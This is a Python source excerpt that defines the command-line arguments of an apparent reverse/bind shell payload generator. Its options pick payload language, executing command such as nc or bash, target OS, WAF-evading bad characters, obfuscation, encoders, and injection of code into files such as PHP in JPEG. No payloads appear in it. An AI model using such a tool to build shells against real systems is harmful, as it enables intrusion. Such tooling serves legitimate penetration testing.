30 | # const=const,
31 | # default=default,
32 | # required=required,
33 | # help=help,
34 | # )
35 | #
36 | # def __call__(self, parser, namespace, values, option_string=None):
37 | # """Custom action entrypoint."""
38 | # argparse_encoder_list()
39 | # sys.exit(0)
40 | #
41 | # # def __init__(self, option_strings, dest, nargs=None, **kwargs):
42 | # # super(ListEncoderAction, self).__init__(option_strings, dest, **kwargs)
43 | #
44 | # # def __call__(self, parser, namespace, values, option_string=None):
45 | # # print('%r %r %r' % (namespace, values, option_string))
46 | # # #setattr(namespace, self.dest, values)
47 |
48 |
49 | def args_addr(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
50 | """Create addr positional argumenmt."""
51 | argument_group.add_argument(
52 | "addr",
53 | type=str,
54 | help="""Address to listen or connect to.
55 |
56 | """,
57 | )
58 |
59 |
60 | def args_port(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
61 | """Create port positional argumenmt."""
62 | argument_group.add_argument(
63 | "port",
64 | nargs="?",
65 | type=int,
66 | default=DEF_PORT,
67 | help="""(Optional) Port to listen or connect to
68 | Default: %(port)i
69 |
70 | """
71 | % ({"port": DEF_PORT}),
72 | )
73 |
74 |
75 | def args_lang(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
76 | """Create -l/--lang argumenmt."""
77 | argument_group.add_argument(
78 | "-l",
79 | "--lang",
80 | type=str,
81 | nargs="+",
82 | default=[],
83 | help="""The payload language to query.
84 | (e.g.: perl, python, php, etc)
85 | Default: do not filter language.
86 |
87 | """,
88 | )
89 |
90 |
91 | def args_exe(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
92 | """Create -e/--exe argumenmt."""
93 | argument_group.add_argument(
94 | "-e",
95 | "--exe",
96 | type=str,
97 | nargs="+",
98 | default="",
99 | help="""Command that will execute the payload
100 | (e.g.: perl, python, php, nc, sh, bash, cmd, PowerShell, etc)
101 | Default: do not filter by underlying command.
102 |
103 | """,
104 | )
105 |
106 |
107 | def args_shell(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
108 | """Create -s/--shell argumenmt."""
109 | argument_group.add_argument(
110 | "-s",
111 | "--shell",
112 | type=str,
113 | nargs="+",
114 | default=[],
115 | help="""Shell on which the command (specified via -e)
116 | will be executed. Some payloads use crazy output
117 | redirections or pipes that will only work on certain
118 | underlying shells.
119 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell)
120 | Default: do not filter by underlying shell.
121 |
122 | """,
123 | )
124 |
125 |
126 | def args_badchars( # pylint: disable=protected-access
127 | argument_group: argparse._ArgumentGroup,
128 | ) -> None:
129 | """Create -b/--badchars argumenmt."""
130 | argument_group.add_argument(
131 | "-b",
132 | "--badchars",
133 | type=str,
134 | default="",
135 | help="""Exclude any payloads that contain the specified bad chars.
136 | This comes in handy if you encounter a Web Application Firewall
137 | that prohibits certain characters.
138 | Default: Ignore badchars
139 |
140 | """,
141 | )
142 |
143 |
144 | def args_os(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
145 | """Create -o/--os argumenmt."""
146 | argument_group.add_argument(
147 | "-o",
148 | "--os",
149 | type=str,
150 | choices=["bsd", "linux", "mac", "solaris", "windows"],
151 | default="",
152 | help="""Only fetch payloads which work on a specific operating system.
153 | Default: fetch for all OS.
154 |
155 | """,
156 | )
157 |
158 |
159 | def args_maxlen( # pylint: disable=protected-access
160 | argument_group: argparse._ArgumentGroup,
161 | ) -> None:
162 | """Create -m/--maxlen argumenmt."""
163 | argument_group.add_argument(
164 | "-m",
165 | "--maxlen",
166 | type=int,
167 | metavar="bytes",
168 | default="0",
169 | help="""Exclude any payloads exceeding the specified max length.
170 |
171 | """,
172 | )
173 |
174 |
175 | def args_obfuscate( # pylint: disable=protected-access
176 | argument_group: argparse._ArgumentGroup,
177 | ) -> None:
178 | """Create --obf argumenmt."""
179 | argument_group.add_argument(
180 | "--obf",
181 | action="store_true",
182 | help="""Run the fun. This switch will apply obfuscator to all
183 | payloads to get a different set of badchars.
184 |
185 | """,
186 | )
187 |
188 |
189 | def args_enc(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
190 | """Create --enc argumenmt."""
191 | argument_group.add_argument(
192 | "--enc",
193 | nargs="+",
194 | default=[],
195 | metavar="name",
196 | type=argparse_encoder_validate,
197 | help="""Encode the output with one or more encoders.
198 | When encoding multiple times, pay attention to the
199 | order of specifying encoders.
200 | Note that any filtering (-b, -o, etc) is not done on the
201 | encoded payload. Filtering is done before.
202 | To view available encoders, use --list-encoders.""",
203 | )
204 |
205 |
206 | def args_quick(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
207 | """Create -q/--quick argumenmt."""
208 | argument_group.add_argument(
209 | "-q",
210 | "--quick",
211 | action="store_true",
212 | help="""Show quick payload results (less detail).
213 |
214 | """,
215 | )
216 |
217 |
218 | def args_copy(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access
219 | """Create -c/--copy argumenmt."""
220 | argument_group.add_argument(
221 | "-c",
222 | "--copy",
223 | nargs="?",
224 | metavar="index",
225 | type=int,
226 | default="-1",
227 | help="""Copy last shown payload to clipboard or specify index
228 | of payload to copy to clipboard.
229 | (indices are shown in square brackets next to payload)
230 |
231 | """,
232 | )
233 |
234 |
235 | def _get_version():
236 | # type: () -> str
237 | """Return version information."""
238 | return """%(prog)s: Version %(version)s
239 | (%(url)s) by %(author)s""" % (
240 | {"prog": DEF_BIN, "version": DEF_VERSION, "url": DEF_GITHUB, "author": DEF_AUTHOR}
241 | )
242 |
243 |
244 | def get_args() -> argparse.Namespace:
245 | """Retrieve command line arguments."""
246 | # --------------------------------------------------------------------------
247 | # Main parser
248 | # --------------------------------------------------------------------------
249 | parser = argparse.ArgumentParser(
250 | formatter_class=argparse.RawTextHelpFormatter,
251 | add_help=False,
252 | usage="""%(prog)s [options] addr [host]
253 | %(prog)s -h
254 | %(prog)s -v, --version
255 | %(prog)s -h, --help"""
256 | % ({"prog": DEF_BIN}),
257 | description=DEF_DESC,
258 | )
259 |
260 | misc = parser.add_argument_group("misc arguments")
261 | misc.add_argument(
262 | "-v",
263 | "--version",
264 | action="version",
265 | version=_get_version(),
266 | help="Show version information and exit",
267 | )
268 | misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
269 |
270 | # --------------------------------------------------------------------------
271 | # Payload parser
272 | # --------------------------------------------------------------------------
273 | payload_parser = parser.add_subparsers(
274 | metavar="",
275 | dest="payload",
276 | )
277 | parser_cmd = payload_parser.add_parser(
278 | "cmd",
279 | formatter_class=argparse.RawTextHelpFormatter,
280 | add_help=False,
281 | help="Generate a command to be executed on a shell.",
282 | usage="""%(prog)s cmd [options] addr [port]
283 | %(prog)s cmd -h, --help"""
284 | % ({"prog": DEF_BIN}),
285 | )
286 | parser_code = payload_parser.add_parser(
287 | "code",
288 | formatter_class=argparse.RawTextHelpFormatter,
289 | add_help=False,
290 | help="Generate source code (e.g.: php).",
291 | usage="""%(prog)s code [options] addr [port]
292 | %(prog)s code -h, --help"""
293 | % ({"prog": DEF_BIN}),
294 | )
295 |
296 | parser_file = payload_parser.add_parser(
297 | "file",
298 | formatter_class=argparse.RawTextHelpFormatter,
299 | add_help=False,
300 | help="Inject source code in a file (e.g.: php in jpeg).",
301 | usage="""%(prog)s file [options] addr [port]
302 | %(prog)s file -h, --help"""
303 | % ({"prog": DEF_BIN}),
304 | )
305 |
306 | if len(sys.argv) == 1:
307 | parser.print_help(sys.stderr)
308 | print(file=sys.stderr)
309 | print("Error: the following arguments are required: ", file=sys.stderr)
310 | sys.exit(1)
311 |
312 | # --------------------------------------------------------------------------
313 | # Positional
314 | # --------------------------------------------------------------------------
315 | cmd_positional = parser_cmd.add_argument_group("positional arguments")
316 | code_positional = parser_code.add_argument_group("positional arguments")
317 | file_positional = parser_file.add_argument_group("positional arguments")
318 |
319 | # positional addr
320 | args_addr(cmd_positional)
321 | args_addr(code_positional)
322 | args_addr(file_positional)
323 |
324 | # positional [port]
325 | args_port(cmd_positional)
326 | args_port(code_positional)
327 | args_port(file_positional)
328 |
329 | # --------------------------------------------------------------------------
330 | # Query arguments
331 | # --------------------------------------------------------------------------
332 | cmd_query = parser_cmd.add_argument_group("query arguments")
333 | code_query = parser_code.add_argument_group("query arguments")
334 | file_query = parser_file.add_argument_group("query arguments")
335 |
336 | # -l/--lang
337 | args_lang(code_query)
338 |
339 | # -e/--exe
340 | args_exe(cmd_query)
341 | args_exe(file_query)
342 |
343 | # -s/--shell
344 | args_shell(cmd_query)
345 | args_shell(code_query)
346 | args_shell(file_query)
347 |
348 | # -b/--badchars
349 | args_badchars(cmd_query)
350 | args_badchars(code_query)
351 | args_badchars(file_query)
352 |
353 | # -o/--os
354 | args_os(cmd_query)
355 | args_os(code_query)
356 | args_os(file_query)
357 |
358 | # -m/--maxlen
359 | args_maxlen(cmd_query)
360 | args_maxlen(code_query)
361 | args_maxlen(file_query)
362 |
363 | # --------------------------------------------------------------------------
364 | # Mutate arguments
365 | # --------------------------------------------------------------------------
366 | cmd_mutate = parser_cmd.add_argument_group("mutate arguments")
367 | code_mutate = parser_code.add_argument_group("mutate arguments")
368 | file_mutate = parser_file.add_argument_group("mutate arguments")
369 |
370 | # --obf
371 | args_obfuscate(code_mutate)
372 | args_obfuscate(cmd_mutate)
373 |
374 | # --enc
375 | args_enc(cmd_mutate)
376 | args_enc(code_mutate)
377 | args_enc(file_mutate)
378 |
379 | # --------------------------------------------------------------------------
380 | # Helper arguments
381 | # --------------------------------------------------------------------------
382 | cmd_helper = parser_cmd.add_argument_group("helper arguments")
383 | code_helper = parser_code.add_argument_group("helper arguments")
384 | file_helper = parser_file.add_argument_group("helper arguments")
385 |
386 | # -q/--quick
387 | args_quick(cmd_helper)
388 | args_quick(code_helper)
389 | args_quick(file_helper)
390 |
391 | # -c/--copy
392 | args_copy(cmd_helper)
393 | args_copy(code_helper)
394 | args_copy(file_helper)
395 |
396 | # --------------------------------------------------------------------------
397 | # Misc arguments
398 | # --------------------------------------------------------------------------
399 | cmd_misc = parser_cmd.add_argument_group("misc arguments")
400 | code_misc = parser_code.add_argument_group("misc arguments")
401 | file_misc = parser_file.add_argument_group("misc arguments")
402 |
403 | # -h/--help
404 | cmd_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
405 | code_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
406 | file_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
407 |
408 | #
409 | # TODO:
410 | # TODO: -o/--obfuscate Run the Fun!
411 |
412 | # TODO:
413 | # TODO: -n/--noob Turn on noob mode
414 | #
415 | #
416 | # -q [no] o , []
417 | # -q p/proto
418 | # -q d/dir
419 | # -q e/exe
420 | # -q s/shell
421 | # -q c/cmd
422 | # -q b/bad
423 |
424 | # -o/--obfuscate
425 | # -e/--encode
426 | # -n/--noob
427 |
428 | # -c/--copy [num] (by default last one)
429 | # mutate = parser.add_argument_group("mutate arguments")
430 | # mutate.add_argument("-e", "--encode", help="Encode")
431 |
432 | # positional = parser.add_argument_group("positional arguments")
433 | # query = parser.add_argument_group("query arguments")
434 | # mutate = parser.add_argument_group("mutate arguments")
435 | # listing = parser.add_argument_group("listing arguments")
436 | # optional = parser.add_argument_group("optional arguments")
437 |
438 | # --------------------------------------------------------------------------
439 | # Positional arguments
440 | # --------------------------------------------------------------------------
441 | # positional.add_argument(
442 | # "payload",
443 | # type=str,
444 | # choices=["cmd", "code"],
445 | # help="""Payload to generate.
446 | # cmd: generate a command to be executed on a shell.
447 | # code: generate executable code (e.g.: php)
448 | #
449 | # """
450 | # )
451 | # positional.add_argument(
452 | # "addr",
453 | # nargs="?",
454 | # type=str,
455 | # help="""(Optional) Address to listen or connect to
456 | #
457 | # """
458 | # )
459 | # positional.add_argument(
460 | # "port",
461 | # nargs="?",
462 | # type=int,
463 | # default=DEF_PORT,
464 | # help="""(Optional) Port to listen or connect to
465 | # Default: %(port)i
466 | #
467 | # """
468 | # % ({"port": DEF_PORT}),
469 | # )
470 |
471 | # cmd_test_arg = parser_cmd.add_argument_group("test group")
472 | # cmd_test_arg.add_argument(
473 | # "port",
474 | # nargs="?",
475 | # type=int,
476 | # default=DEF_PORT,
477 | # help="""(Optional) Port to listen or connect to
478 | # Default: %(port)i
479 | # """
480 | # % ({"port": DEF_PORT}),
481 | # )
482 | # cmd_test_arg.add_argument(
483 | # "-h", "--help", action="help", help="Show this help message and exit")
484 |
485 | # --------------------------------------------------------------------------
486 | # Query arguments
487 | # --------------------------------------------------------------------------
488 |
489 | # # -q/--query 1
490 | # # -q/--query os linux
491 | # # -q/--query os mac
492 | # # -q/--query shell bind
493 | # # -q/--query proto tcp
494 | # # -b/--badchars "'"
495 | # # -l/--lang
496 | # query.add_argument(
497 | # "-q",
498 | # "--query",
499 | # nargs="+",
500 | # default=[],
501 | # action='append',
502 | # help="""Query shells based on conditions.
503 | # """
504 | # )
505 | #
506 | #
507 | # # --------------------------------------------------------------------------
508 | # # Mutate arguments
509 | # # --------------------------------------------------------------------------
510 | # mutate.add_argument(
511 | # "-e",
512 | # "--encode",
513 | # nargs="+",
514 | # default=[],
515 | # metavar="name",
516 | # type=argparse_encoder_validate,
517 | # help="""Encode shell code with one or more encoders.
518 | # When encoding multiple times, pay attention to the
519 | # order of specifying encoders.
520 | # To view available encoders, use --list-encoders."""
521 | # )
522 | # mutate.add_argument(
523 | # "--quote",
524 | # choices=["single", "double", "auto"],
525 | # default="auto",
526 | # type=str,
527 | # help="""Set the quoting style for inner and outer quotes.
528 | # Some quotes are fixed (not changeable), depending on the
529 | # programming language, operating system or the way it is
530 | # handed over to a command.
531 | # By default, this option is set to auto, which uses
532 | # single quotes on the outside and double quotes inside."""
533 | # )
534 | #
535 | # # -q/--quote single, double, auto
536 | # # -s/--shell sh, /bin/sh, bash, auto
537 | # # -w/--wrapper cmd, gif, jpg, none
538 | # # -e/--encode base64 url
539 | # # -q/--query 1
540 | # # -q/--query os linux
541 | # # -q/--query os mac
542 | # # -q/--query shell bind
543 | # # -q/--query proto tcp
544 | # # -b/--badchars "'"
545 | # # -l/--lang
546 | #
547 | # listing.add_argument(
548 | # "--list-languages",
549 | # action='store_true',
550 | # help="""List available languages"""
551 | # )
552 | # listing.add_argument(
553 | # "--list-payloads",
554 | # action='store_true',
555 | # help="""List available payloads"""
556 | # )
557 | # listing.add_argument(
558 | # "--list-wrapper",
559 | # action='store_true',
560 | # help="""List available payloads wrapper"""
561 | # )
562 | # listing.add_argument(
563 | # "--list-encoders",
564 | # action=ListEncoderAction,
565 | # help="""List available encoder"""
566 | # )
567 | #
568 | # Return arguments
569 | parsed = parser.parse_args()
570 | return parsed
571 |
--------------------------------------------------------------------------------